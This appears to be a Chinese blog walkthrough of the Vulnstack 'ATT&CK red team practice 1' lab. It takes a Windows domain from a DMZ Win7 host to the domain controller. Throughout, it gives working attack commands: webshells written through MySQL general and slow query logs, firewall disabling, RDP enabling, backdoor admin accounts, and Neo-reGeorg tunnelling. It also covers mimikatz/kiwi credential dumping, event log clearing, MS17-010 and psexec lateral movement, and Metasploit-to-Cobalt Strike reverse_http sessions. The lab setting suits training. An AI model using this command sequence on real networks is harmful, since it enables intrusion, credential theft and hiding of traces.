ATT&CK实战系列-红队实践一

靶机下载

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶场拓扑图

ATT&CK实战系列-红队实践一_第1张图片

环境配置

vnet1网卡:
ATT&CK实战系列-红队实践一_第2张图片
win7:
仅主机vnet1:192.168.52.143
NATvnet8:192.168.124.20
ATT&CK实战系列-红队实践一_第3张图片
ATT&CK实战系列-红队实践一_第4张图片
在C盘下运行phpstudy.
ATT&CK实战系列-红队实践一_第5张图片
win2008:
仅主机IP:192.168.52.138
ATT&CK实战系列-红队实践一_第6张图片
ATT&CK实战系列-红队实践一_第7张图片
win2k3:
仅主机IP:192.168.52.141
ATT&CK实战系列-红队实践一_第8张图片
ATT&CK实战系列-红队实践一_第9张图片
攻击机kali2019:
NAT模式IP:192.168.124.26

DMZ区(win7渗透)

信息收集

存活主机及其湍口探测

nmap -sP 192.168.124.0/24
nmap -T4 -A -v -p 1-3309 192.168.124.20
-T(设置时间模板),规避防火墙

ATT&CK实战系列-红队实践一_第10张图片
ATT&CK实战系列-红队实践一_第11张图片

目录扫描

ATT&CK实战系列-红队实践一_第12张图片
ATT&CK实战系列-红队实践一_第13张图片
发现存在phpmyadmin和beifen.rar,备份文件是yxcms的一个源码,访问两个页面
ATT&CK实战系列-红队实践一_第14张图片
弱口令,root/root即可登录进去
ATT&CK实战系列-红队实践一_第15张图片
将url参数中member改为admin,即可访问到管理员登录页面,弱口令admin/123456,即可登录。

web站点探测

ATT&CK实战系列-红队实践一_第16张图片
通过探针,能够利用的有以下几点:
phpinfo信息
服务器banner信息(系统,apache,php版本)
Phpstudy后门(未测试)
MySQL数据库弱口令
MySQL数据库密码爆破

getshell

yxcms

在管理员后台,前台模板处创建shell.php一句换木马,这里需要知道文件路径,可以看官方文档或审计源码,发现路径:/yxcms/protected/apps/default/view/default/。
ATT&CK实战系列-红队实践一_第17张图片
蚁剑连接
ATT&CK实战系列-红队实践一_第18张图片

phpmyadmin

1.into_outfile写shell

条件:需要secure_file_priv为允许

secure-file-priv:限制了导入与导出的目录权限。只允许在规定的目录下才能导入。
通过以下命令查看secure-file-priv当前的值是什么
SHOW VARIABLES LIKE "secure_file_priv";或show global variables like "%secure%"; 
(1)NULL,表示禁止。
(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。
(3)如果为空,则表示不限制目录。

语法:

select "$_POST[yxcms]);?>" into outfile " C://phpstudy/www/info.php"

ATT&CK实战系列-红队实践一_第19张图片
明显不满足条件

利用全局日志general_log

general_log:日志保存状态(ON代表开启 OFF代表关闭)
general_log_file:日志保存的文件
general_log的作用是记录用户输入的每条命令并保存在日志文件中,利用的思路是开启general_log,把general_log_file日志保存的文件指定为一个php文件,通过log日志写入webshell进行利用
执行以下命令查询日志配置

show variables like '%general%'
# % 为SQL语法中的通配符 替代 0 个或多个字符

ATT&CK实战系列-红队实践一_第20张图片

set global general_log = "ON";  --开启全局日志

set global general_log_file='C:/phpStudy/WWW/log.php';  --指定新的日志路径

ATT&CK实战系列-红队实践一_第21张图片
ATT&CK实战系列-红队实践一_第22张图片
ATT&CK实战系列-红队实践一_第23张图片

select '' --执行SQL语句以写入日志

ATT&CK实战系列-红队实践一_第24张图片
访问shell。
ATT&CK实战系列-红队实践一_第25张图片
蚁剑连接,
ATT&CK实战系列-红队实践一_第26张图片

利用慢查询日志slow_query_log

慢查询日志用来记录在 MySQL 中执行时间超过指定时间的查询语句

3.1查询慢查询日志目录 
show variables like '%slow%'; 
# show variables like 'slow%'; 
# SHOW VARIABLES LIKE 'slow_query%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
3.2开启慢查询日志功能 
set global slow_query_log=on; 
3.3重新设置日志路径 
set global slow_query_log_file='C:/phpStudy/WWW/info2.php'; 
3.4执行sql命令 
select '' from mysql.db where sleep(10);

ATT&CK实战系列-红队实践一_第27张图片

利用错误日志
show variables like 'log_error'
set log_error='C:/phpStudy/WWW/info3.php'
利用phpmyadmin本身版本漏洞

参考连接:https://blog.csdn.net/m0_47418965/article/details/121708917

phpmyadmin写shell

https://blog.csdn.net/sunjikui1255326447/article/details/106440534

内网渗透

MSF渗透

信息收集

本机信息

网络配置信息

ipconfig /all

操作系统及其版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

查看当前登陆域和用户

net config workstation

判断主域

net time /domain

查看域内主机

net view

当前权限、账号信息

whoami /all

net user XXX /domain

查看域控

net group "domain controllers" /domain
本机服务信息	wmic service list brief

启动程序信息	wmic startup get command,caption
计划任务	schtasks /query /fo LIST /v
主机开机时间	net statistics workstation
用户列表	
net user
net localgroup administrators
query user || qwinsta
客户端会话信息	net session
端口列表	netstat -ano

查询本机共享	
net share
wmic share get name,path,status

路由、ARP 缓存表	route print、Arp –A

防火墙相关配置	netsh firewall show config
代理配置情况	reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
远程连接服务	Netstat -ano

获取补丁信息

Systeminfo
wmic qfe get caption,description,hotfixid,installedon

获取安装软件

wmic product get name,version
echo %PROCESSOR_ARCHITECTURE%

获取本机路由

route print -4

获取ARP缓存

arp -a

进程列表

tasklist /v
wmic process list brief

端口列表

netstat -ano
防火墙信息

防火墙配置

netsh firewall show config

修改防火墙配置

win2003前
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable  ---允许指定程序全部连接
win2003后
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"   --允许指定程序进入
netsh advfirewall firewall add rule name="pass nc" dir=out action=allow program="C:\nc.exe"   --允许指定程序退出
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow  --允许3389放行

关闭防火墙

win2003前
netsh firewall set opmode disable
win2003后
netsh advfirewall set allprofiles state off

尝试远程桌面登录

查看3389端口:
在这里插入图片描述
没有回显,即3389并没有开启,我们使用以下命令开启它(win7、win2003、winxp),运行后显示3389端口已经成功开启(关闭命令把如下0都换成1):

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在这里插入图片描述
添加用户

net user test @!FuckSEC!@ /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户

ATT&CK实战系列-红队实践一_第28张图片
使用账号:test,密码:@!FuckSEC!@ 登录远程桌面。但是登陆失败,nmap扫描3389端口发现状态为filtered。查看win7,防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接。
此时思路一般如下:
1.尝试关闭防火墙
2.尝试使用隧道连接3389
因为是打靶机,练习为主,两种方式都尝试一下

隧道链接3389

使用HTTPS协议隧道,
工具:https://github.com/L-codes/Neo-reGeorg
生成webshell,密码为shy

python3 neoreg.py generate -k shy

ATT&CK实战系列-红队实践一_第29张图片
利用蚁剑将webshell上传至web服务器,访问webshell,并在Kali终端输入一下命令进行监听。

python3 neoreg.py -k 123456 -u http://192.168.124.24/tunnel.php

ATT&CK实战系列-红队实践一_第30张图片
修改proxychains配置文件
在这里插入图片描述
连接远程桌面
ATT&CK实战系列-红队实践一_第31张图片
ATT&CK实战系列-红队实践一_第32张图片
因为远程登录会断开该主机当前的连接,为了不惊动管理员,所以一般这里尽量不要远程登录。

上线MSF

权限提升

ATT&CK实战系列-红队实践一_第33张图片
然后迁移进程,找到一个64位且权限为SYSTEM的进程进行迁移
ATT&CK实战系列-红队实践一_第34张图片
ATT&CK实战系列-红队实践一_第35张图片

加载mimikatz抓密码

加载mimikatz模块来抓取密码的话,可能抓不到密码,msf上也提示已经被kiwi取代
ATT&CK实战系列-红队实践一_第36张图片
加载kiwi模块,抓取用户密码
获取到账户的明文密码,administrator/hongrisec@2019!

load kiwi
creds_all

ATT&CK实战系列-红队实践一_第37张图片

清除事件日志

在这里插入图片描述
关闭主机的防火墙并打开3389端口,可以远程桌面连接

netsh advfirewall set allprofiles state off  //关闭防火墙
netsh advfirewall show allprofiles state	//查看当前防火墙状态
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f //打开3389

ATT&CK实战系列-红队实践一_第38张图片

寻找域控

通过ping来判断其他域内其他2台主机的ip地址,发现两台主机的ip地址52.138和52.141
ATT&CK实战系列-红队实践一_第39张图片

横向渗透

端口探测

现在需要扫描另一个网段的主机,在msf中需要添加通往.52网段的路由
先退出msf的shell界面

run autoroute -s 192.168.52.0/24

ATT&CK实战系列-红队实践一_第40张图片
查看需要配置的参数,设置上本地的ip地址

set SRHOST 127.0.0.1

ATT&CK实战系列-红队实践一_第41张图片
配置完成后,run运行,然后修改下代理的配置文件

vim /etc/proxychains.conf

ATT&CK实战系列-红队实践一_第42张图片
挂上代理使用nmap扫描对.52网段的目标主机进行扫描,由于socks代理是tcp连接,这里nmap命令只能用tcp相关的,扫描速度较慢,若扫描失败,可以将proxychains配置文件里的dynamic_chain注释掉即可,别的不用注释
ATT&CK实战系列-红队实践一_第43张图片
nmap扫描太慢,使用MSF的扫描模块
调用tcp端口扫描模块,设置目标地址,run

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138

分别对之前的两台主机进行端口扫描,都开放了445端口
ATT&CK实战系列-红队实践一_第44张图片
ATT&CK实战系列-红队实践一_第45张图片
先对.141主机进行ms17-010漏洞扫描,msf先搜索下ms17-010的模块,选用smb_ms17_010,发现存在漏洞。

search ms17_010
use 3
set RHOSTS 192.168.52.141

ATT&CK实战系列-红队实践一_第46张图片
通过ms17_010_command命令执行来利用
使用命令执行添加一个新用户

use 2
set COMMAND net user test hongrisec@2022 /add
set RHOSTS 192.168.52.141

ATT&CK实战系列-红队实践一_第47张图片
再将test用户添加到管理组

set COMMAND net localgroup administrators test /add

ATT&CK实战系列-红队实践一_第48张图片
查看下是否添加成功

set COMMAND net localgroup administrators

ATT&CK实战系列-红队实践一_第49张图片
通过之前的端口信息发现主机未开放3389端口,再把3389端口打开
注册表这里不加引号的话可能会执行失败

set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

使用代理连接远程桌面到141主机

proxychains rdesktop 192.168.52 141

ATT&CK实战系列-红队实践一_第50张图片
win2003主机拿下后,接下来是域控主机.138,同样是开放445端口
通过smb/psexec模块来利用

use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain god
set SMBPass win7pass   //win7主机密码
set SMBUser Administrator  //哇in主机用户名
set LHOST 192.168.52.143
set LPORT 464
run

ATT&CK实战系列-红队实践一_第51张图片
运行成功后,getsystem提权
在这里插入图片描述
进程迁移到svchost.exe
注意迁移所在的进程也必须是system权限,不然meterpreter会继承所在进程的权限,导致后续操作无法继续

migrate 124

ATT&CK实战系列-红队实践一_第52张图片
在这里插入图片描述
加载kiwi模块抓取密码

load kiwi
creds_all

ATT&CK实战系列-红队实践一_第53张图片

CS渗透

MSF派生CSwin7的shell

创建一个Listener
ATT&CK实战系列-红队实践一_第54张图片
msf派生,发现成功上线。

background/bg
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.124.20
set lport 7777
set session 1
run

ATT&CK实战系列-红队实践一_第55张图片
在这里插入图片描述
拿到CSshell后,一般先将回显时间由默认的60s改成1s

sleep 1

CS的shell,执行windows的命令时,只需要在命令前加shell就好
ATT&CK实战系列-红队实践一_第56张图片
成功提权
在这里插入图片描述

横向移动

查看防火墙,关闭防火墙

shell netsh firewall show state
shell netsh advfirewall set allprofiles state off

获取域内目标,多执行几次,就会在Targets中找到局域网内的目标

net view

ATT&CK实战系列-红队实践一_第57张图片
ATT&CK实战系列-红队实践一_第58张图片
先抓取win7中的密码

hashdump
logonpasswords

ATT&CK实战系列-红队实践一_第59张图片
ATT&CK实战系列-红队实践一_第60张图片
执行完后,查看凭证
ATT&CK实战系列-红队实践一_第61张图片

攻击域控

增加smb listener
ATT&CK实战系列-红队实践一_第62张图片
随便挑选一个OWA的Targets,右键
ATT&CK实战系列-红队实践一_第63张图片
填入用户名密码,选择刚刚创建的Listener,选择System的那个Session,点击Lauch
ATT&CK实战系列-红队实践一_第64张图片
成功拿到域控权限
在这里插入图片描述
同样的方式拿下域内另一台主机

参考链接

phpmyadmin写shell的三种方法
https://blog.51cto.com/Jach1n/5291370

你可能感兴趣的:(内网渗透,网络,http,https)